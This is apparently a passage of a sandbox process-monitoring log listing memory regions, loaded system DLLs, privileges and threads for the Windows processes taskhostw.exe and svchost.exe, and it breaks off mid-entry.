Process: id = "83" image_name = "taskhostw.exe" filename = "c:\\windows\\system32\\taskhostw.exe" page_root = "0x39850000" os_pid = "0x43c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "82" os_parent_pid = "0x360" cmd_line = "taskhostw.exe SYSTEM" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b257" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 6656 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6657 start_va = 0x7667860000 end_va = 0x76678dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007667860000" filename = "" Region: id = 6658 start_va = 0x7667a00000 end_va = 0x7667bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007667a00000" filename = "" Region: id = 6659 start_va = 0x19277640000 end_va = 0x1927765ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019277640000" filename = "" Region: id = 6660 start_va = 0x19277660000 end_va = 0x19277674fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277660000" filename = "" Region: id = 6661 start_va = 0x19277680000 end_va = 0x19277683fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277680000" filename = "" Region: id = 6662 start_va = 0x19277690000 end_va = 0x19277690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277690000" filename = "" Region: id = 6663 start_va = 0x192776a0000 end_va = 0x192776a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000192776a0000" filename = "" Region: id = 6664 start_va = 0x7df5ff7b0000 end_va = 0x7ff5ff7affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff7b0000" filename = "" Region: id = 6665 start_va = 0x7ff667540000 end_va = 0x7ff667562fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff667540000" filename = "" Region: id = 6666 start_va = 0x7ff668530000 end_va = 0x7ff668548fff monitored = 0 entry_point = 0x7ff6685359b0 region_type = mapped_file name = "taskhostw.exe" filename = "\\Windows\\System32\\taskhostw.exe" (normalized: "c:\\windows\\system32\\taskhostw.exe") Region: id = 6667 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6693 start_va = 0x192776b0000 end_va = 0x1927783ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000192776b0000" filename = "" Region: id = 6694 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6695 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6696 start_va = 0x19277640000 end_va = 0x1927764ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277640000" filename = "" Region: id = 6697 start_va = 0x7ff667440000 end_va = 0x7ff66753ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff667440000" filename = "" Region: id = 6698 start_va = 0x19277840000 end_va = 0x192778fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6699 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6700 start_va = 0x76678e0000 end_va = 0x766795ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000076678e0000" filename = "" Region: id = 6701 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6702 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6703 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6704 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6705 start_va = 0x19277900000 end_va = 0x19277aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019277900000" filename = "" Region: id = 6706 start_va = 0x19277650000 end_va = 0x19277656fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019277650000" filename = "" Region: id = 6720 start_va = 0x19277900000 end_va = 0x19277a42fff monitored = 0 entry_point = 0x19277928210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6721 start_va = 0x19277aa0000 end_va = 0x19277aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019277aa0000" filename = "" Region: id = 6722 start_va = 0x19277900000 end_va = 0x192779dcfff monitored = 0 entry_point = 0x1927795e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6723 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6724 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6725 start_va = 0x192776b0000 end_va = 0x192776b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000192776b0000" filename = "" Region: id = 6726 start_va = 0x19277740000 end_va = 0x1927783ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019277740000" filename = "" Region: id = 6727 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6728 start_va = 0x19277900000 end_va = 0x19277a87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277900000" filename = "" Region: id = 6729 start_va = 0x19277ab0000 end_va = 0x19277c30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277ab0000" filename = "" Region: id = 6730 start_va = 0x19277c40000 end_va = 0x19277cfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277c40000" filename = "" Region: id = 6731 start_va = 0x192776c0000 end_va = 0x192776c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskhostw.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhostw.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhostw.exe.mui") Region: id = 6732 start_va = 0x192776d0000 end_va = 0x192776d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000192776d0000" filename = "" Region: id = 6733 start_va = 0x192776e0000 end_va = 0x192776e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000192776e0000" filename = "" Region: id = 6914 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7284 start_va = 0x7667960000 end_va = 0x76679dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007667960000" filename = "" Region: id = 7285 start_va = 0x7667c00000 end_va = 0x7667c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007667c00000" filename = "" Region: id = 7286 start_va = 0x192776f0000 end_va = 0x192776f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000192776f0000" filename = "" Region: id = 7287 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7288 start_va = 0x19277700000 end_va = 0x19277700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277700000" filename = "" Region: id = 7289 start_va = 0x7ffe52f00000 end_va = 0x7ffe52f10fff monitored = 0 entry_point = 0x7ffe52f06710 region_type = mapped_file name = "tpmtasks.dll" filename = "\\Windows\\System32\\TpmTasks.dll" (normalized: "c:\\windows\\system32\\tpmtasks.dll") Region: id = 7290 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7347 start_va = 0x7ffe52ab0000 end_va = 0x7ffe52b1dfff monitored = 0 entry_point = 0x7ffe52afe6c0 region_type = mapped_file name = "tpmcoreprovisioning.dll" filename = "\\Windows\\System32\\TpmCoreProvisioning.dll" (normalized: "c:\\windows\\system32\\tpmcoreprovisioning.dll") Region: id = 7348 start_va = 0x7ffe5d920000 end_va = 0x7ffe5dae6fff monitored = 0 entry_point = 0x7ffe5d97db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7349 start_va = 0x7ffe5cef0000 end_va = 0x7ffe5cefffff monitored = 0 entry_point = 0x7ffe5cef56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7350 start_va = 0x7ffe5cac0000 end_va = 0x7ffe5cae6fff monitored = 0 entry_point = 0x7ffe5cad0aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 7351 start_va = 0x7ffe56e30000 end_va = 0x7ffe56ef7fff monitored = 0 entry_point = 0x7ffe56e713f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 7352 start_va = 0x7ffe56ae0000 end_va = 0x7ffe56b1dfff monitored = 0 entry_point = 0x7ffe56aea050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 7353 start_va = 0x7ffe5c360000 end_va = 0x7ffe5c36bfff monitored = 0 entry_point = 0x7ffe5c3627e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7354 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7355 start_va = 0x7ffe5ca80000 end_va = 0x7ffe5cab9fff monitored = 0 entry_point = 0x7ffe5ca88d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 7459 start_va = 0x7ffe52340000 end_va = 0x7ffe5234efff monitored = 0 entry_point = 0x7ffe52342c50 region_type = mapped_file name = "dimsjob.dll" filename = "\\Windows\\System32\\dimsjob.dll" (normalized: "c:\\windows\\system32\\dimsjob.dll") Region: id = 7531 start_va = 0x7667c80000 end_va = 0x7667cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007667c80000" filename = "" Region: id = 7532 start_va = 0x7ffe561f0000 end_va = 0x7ffe5622ffff monitored = 0 entry_point = 0x7ffe56206c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 7533 start_va = 0x19277d00000 end_va = 0x19277ddcfff monitored = 0 entry_point = 0x19277d5e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7723 start_va = 0x7667d00000 end_va = 0x7667d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007667d00000" filename = "" Region: id = 7736 start_va = 0x7667d80000 end_va = 0x7667dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007667d80000" filename = "" Region: id = 7737 start_va = 0x7667e00000 end_va = 0x7667e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007667e00000" filename = "" Region: id = 7738 start_va = 0x7ffe55000000 end_va = 0x7ffe5500dfff monitored = 0 entry_point = 0x7ffe55001460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 7872 start_va = 0x19277710000 end_va = 0x19277710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000019277710000" filename = "" Region: id = 7873 start_va = 0x7ffe5b4a0000 end_va = 0x7ffe5b4e6fff monitored = 0 entry_point = 0x7ffe5b4a1d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 7874 start_va = 0x7ffe5af50000 end_va = 0x7ffe5af8ffff monitored = 0 entry_point = 0x7ffe5af5cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 7875 start_va = 0x7ffe60450000 end_va = 0x7ffe604abfff monitored = 0 entry_point = 0x7ffe6046b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 7882 start_va = 0x7ffe5c3a0000 end_va = 0x7ffe5c3acfff monitored = 0 entry_point = 0x7ffe5c3a1fe0 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 8035 start_va = 0x7ffe56060000 end_va = 0x7ffe56073fff monitored = 0 entry_point = 0x7ffe56062280 region_type = mapped_file name = "pautoenr.dll" filename = "\\Windows\\System32\\pautoenr.dll" (normalized: "c:\\windows\\system32\\pautoenr.dll") Region: id = 8036 start_va = 0x19277710000 end_va = 0x19277712fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000019277710000" filename = "" Region: id = 8056 start_va = 0x7ffe4d360000 end_va = 0x7ffe4d62cfff monitored = 0 entry_point = 0x7ffe4d366db0 region_type = mapped_file name = "certenroll.dll" filename = "\\Windows\\System32\\CertEnroll.dll" (normalized: "c:\\windows\\system32\\certenroll.dll") Thread: id = 424 os_tid = 0x440 Thread: id = 426 os_tid = 0x49c Thread: id = 502 os_tid = 0x670 Thread: id = 503 os_tid = 0x664 Thread: id = 567 os_tid = 0x7cc Thread: id = 589 os_tid = 0x7e4 Thread: id = 590 os_tid = 0x2f8 Thread: id = 592 os_tid = 0x434 Process: id = "84" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4866000" os_pid = "0x3b0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "82" os_parent_pid = "0x210" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AJRouter" [0xa], "NT SERVICE\\bthserv" [0xa], "NT SERVICE\\CDPSvc" [0xa], "NT SERVICE\\EventSystem" [0xa], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\FontCache" [0xa], "NT SERVICE\\LicenseManager" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\PhoneSvc" [0xa], "NT SERVICE\\RemoteRegistry" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\tzautoupdate" [0xe], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT SERVICE\\workfolderssvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d009" [0xc000000f], "LOCAL" [0x7] Region: id = 6750 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6751 start_va = 0x42a1b00000 end_va = 0x42a1b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a1b00000" filename = "" Region: id = 6752 start_va = 0x42a1b80000 end_va = 0x42a1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a1b80000" filename = "" Region: id = 6753 start_va = 0x42a1c00000 end_va = 0x42a1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a1c00000" filename = "" Region: id = 6754 start_va = 0x42a2000000 end_va = 0x42a20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2000000" filename = "" Region: id = 6755 start_va = 0x42a2100000 end_va = 0x42a21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2100000" filename = "" Region: id = 6756 start_va = 0x42a2200000 end_va = 0x42a22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2200000" filename = "" Region: id = 6757 start_va = 0x42a2300000 end_va = 0x42a23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2300000" filename = "" Region: id = 6758 start_va = 0x42a2400000 end_va = 0x42a24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2400000" filename = "" Region: id = 6759 start_va = 0x42a2500000 end_va = 0x42a25fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2500000" filename = "" Region: id = 6760 start_va = 0x42a2700000 end_va = 0x42a277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2700000" filename = "" Region: id = 6761 start_va = 0x42a2780000 end_va = 0x42a287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000042a2780000" filename = "" Region: id = 6762 start_va = 0x16908c30000 end_va = 0x16908c3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016908c30000" filename = "" Region: id = 6763 start_va = 0x16908c40000 end_va = 0x16908c46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016908c40000" filename = "" Region: id = 6764 start_va = 0x16908c50000 end_va = 0x16908c64fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016908c50000" filename = "" Region: id = 6765 start_va = 0x16908c70000 end_va = 0x16908c73fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016908c70000" filename = "" Region: id = 6766 start_va = 0x16908c80000 end_va = 0x16908c80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016908c80000" filename = "" Region: id = 6767 start_va = 0x16908c90000 end_va = 0x16908c91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016908c90000" filename = "" Region: id = 6768 start_va = 0x16908ca0000 end_va = 0x16908d5dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6769 start_va = 0x16908d60000 end_va = 0x16908d60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 6770 start_va = 0x16908d70000 end_va = 0x16908d70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016908d70000" filename = "" Region: id = 6771 start_va = 0x16908d80000 end_va = 0x16908d80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016908d80000" filename = "" Region: id = 6772 start_va = 0x16908d90000 end_va = 0x16908d90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016908d90000" filename = "" Region: id = 6773 start_va = 0x16908da0000 end_va = 0x16908da0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016908da0000" filename = "" Region: id = 6774 start_va = 0x16908db0000 end_va = 0x16908db0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016908db0000" filename = "" Region: id = 6775 start_va = 0x16908df0000 end_va = 0x16908df6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016908df0000" filename = "" Region: id = 6776 start_va = 0x16908e00000 end_va = 0x16908efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016908e00000" filename = "" Region: id = 6777 start_va = 0x16908f00000 end_va = 0x16908ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016908f00000" filename = "" Region: id = 6778 start_va = 0x16909000000 end_va = 0x16909187fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016909000000" filename = "" Region: id = 6779 start_va = 0x16909190000 end_va = 0x16909310fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016909190000" filename = "" Region: id = 6780 start_va = 0x16909320000 end_va = 0x169093dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000016909320000" filename = "" Region: id = 6781 start_va = 0x169093e0000 end_va = 0x16909428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-system.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-system.dat") Region: id = 6782 start_va = 0x16909590000 end_va = 0x16909596fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016909590000" filename = "" Region: id = 6783 start_va = 0x16909600000 end_va = 0x169096fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000016909600000" filename = "" Region: id = 6784 start_va = 0x16909700000 end_va = 0x1690a6fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-fontface.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-fontface.dat") Region: id = 6785 start_va = 0x1690a700000 end_va = 0x1690aa36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6786 start_va = 0x1690aac0000 end_va = 0x1690abbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001690aac0000" filename = "" Region: id = 6787 start_va = 0x1690ad00000 end_va = 0x1690adfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001690ad00000" filename = "" Region: id = 6788 start_va = 0x1690ae00000 end_va = 0x1690aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001690ae00000" filename = "" Region: id = 6789 start_va = 0x1690b400000 end_va = 0x1690b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001690b400000" filename = "" Region: id = 6790 start_va = 0x1690b500000 end_va = 0x1690bcfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "~fontcache-s-1-5-18.dat" filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-S-1-5-18.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-s-1-5-18.dat") Region: id = 6791 start_va = 0x7df5ff8a0000 end_va = 0x7ff5ff89ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff8a0000" filename = "" Region: id = 6792 start_va = 0x7ff765ae0000 end_va = 0x7ff765bdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff765ae0000" filename = "" Region: id = 6793 start_va = 0x7ff765be0000 end_va = 0x7ff765c02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff765be0000" filename = "" Region: id = 6794 start_va = 0x7ff7669a0000 end_va = 0x7ff7669acfff monitored = 0 entry_point = 0x7ff7669a3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 6795 start_va = 0x7ffe55c00000 end_va = 0x7ffe55c0cfff monitored = 0 entry_point = 0x7ffe55c02650 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 6796 start_va = 0x7ffe56a30000 end_va = 0x7ffe56aa9fff monitored = 0 entry_point = 0x7ffe56a57630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 6797 start_va = 0x7ffe56ad0000 end_va = 0x7ffe56adbfff monitored = 0 entry_point = 0x7ffe56ad14d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 6798 start_va = 0x7ffe572f0000 end_va = 0x7ffe57318fff monitored = 0 entry_point = 0x7ffe573024d0 region_type = mapped_file name = "fontprovider.dll" filename = "\\Windows\\System32\\FontProvider.dll" (normalized: "c:\\windows\\system32\\fontprovider.dll") Region: id = 6799 start_va = 0x7ffe57320000 end_va = 0x7ffe57369fff monitored = 0 entry_point = 0x7ffe5732ac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 6800 start_va = 0x7ffe57370000 end_va = 0x7ffe57511fff monitored = 0 entry_point = 0x7ffe573bc2d0 region_type = mapped_file name = "fntcache.dll" filename = 